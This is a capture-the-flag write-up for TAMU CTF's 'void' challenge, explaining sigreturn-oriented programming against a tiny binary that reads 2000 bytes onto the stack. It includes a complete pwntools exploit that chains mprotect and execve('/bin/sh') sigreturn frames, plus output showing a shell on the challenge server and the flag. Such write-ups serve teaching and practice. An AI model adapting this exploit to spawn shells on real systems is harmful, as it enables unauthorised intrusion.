[TAMU ctf] void
This is the output of checksec over the ELF of this challenge.
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
This was a cool little srop challenge!
the source code of this challenge was very tiny. This was the description “Can’t exploit it if there isn’t anything to exploit, right? NX, no libc, what else even can you do?!”
void main() {
asm
(
"mov $0, %rax;"
"mov $0, %rdi;"
"mov %rsp, %rsi;"
"mov $2000, %rdx;"
"syscall;"
);
}
int _start() {
main();
asm(
"mov $60, %rax;"
"mov $0, %rdi;"
"syscall;"
);
}
As we can see the binary will read 2000 byte directly into the stack. There was only few gadget useful but there was a syscall gadget, and this, with this gadget we can perform srop since also the number of bytes read is enough for this technique.
In order to perform this technique is required a syscall gadged and a way to set the rax register. In this binary we haven’t a direct pop rax gadget, but we can set the rax value using th return of the read syscall.
This technique abuses of the sigreturn
syscall (id is 15 for 64 bit ). This syscall usually restore the register state after a signal handler returns. So usually is never directly called by a user. The stack contain the sigcontext structures that contain all the registers, so if we can write enough byte in the stack we can control all the registers value.
Pwntools has some useful function that create a sigreturn frame (sigcontext) that will contain the value of the registers.
My first plan was to call mprotect and then inject a shellcode, but then I have only called execve with /bin/sh.
So I have used the first SigreturnFrame to perform a stack pivot, so is not very elegant but it works! After te first syscall (mprotect) the rsp point to a well know address and now I can point to the b’/bin/sh\x00’ located at the end of the second sigreturn frame (execve)
This is my exploit
from pwn import *
context.binary = elf = ELF('./void')
#p = elf.process()
#gdb.attach(p)
p = remote("tamuctf.com", 443, ssl=True, sni="void")
base_address_text = 0x400000
sys_ptr = 0x0000000000401018
syscall = p64(sys_ptr)
vuln = p64(elf.sym.main)
vuln_ptr = next(elf.search(b'\x00\x10\x40')) # ptr prt to main
bin_addr = 0x400198 #searched in gdb since now the stack position is known
frame_mprotect = SigreturnFrame(kernel = 'amd64')
frame_mprotect.rax = 0x0a
frame_mprotect.rdi = base_address_text
frame_mprotect.rsi = 0x2000
frame_mprotect.rdx = 6#7
frame_mprotect.rsp = vuln_ptr
frame_mprotect.rip = sys_ptr
frame_execve = SigreturnFrame(kernel = 'amd64')
frame_execve.rax = 0x3b
frame_execve.rdi = bin_addr
frame_execve.rsi = 0
frame_execve.rdx = 0
frame_execve.rip = sys_ptr
payload = vuln + syscall + bytes(frame_mprotect)
p.sendline(payload)
log.info('Press any key')
input()
p.sendline(payload[8:8+14]) #set rax to 0xf
log.info('Press any key')
input()
payload = vuln + syscall + bytes(frame_execve) +b'/bin/sh\x00'
p.sendline(payload)
log.info('Press any key')
input()
p.sendline(payload[8:8+14]) #set rax to 0xf
p.interactive()
and this is the output:
eurus@node-01-00:~/Scaricati/void$ python3 solver-template.py
[*] '/home/eurus/Scaricati/void/void'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to tamuctf.com on port 443: Done
[*] Press any key
[*] Press any key
[*] Press any key
[*] Switching to interactive mode
$ ls
docker_entrypoint.sh
flag.txt
void
$ cat flag.txt
gigem{1_6u355_7h475_h0w_w3_3xpl017_17}$
[*] Interrupted
[*] Closed connection to tamuctf.com port 443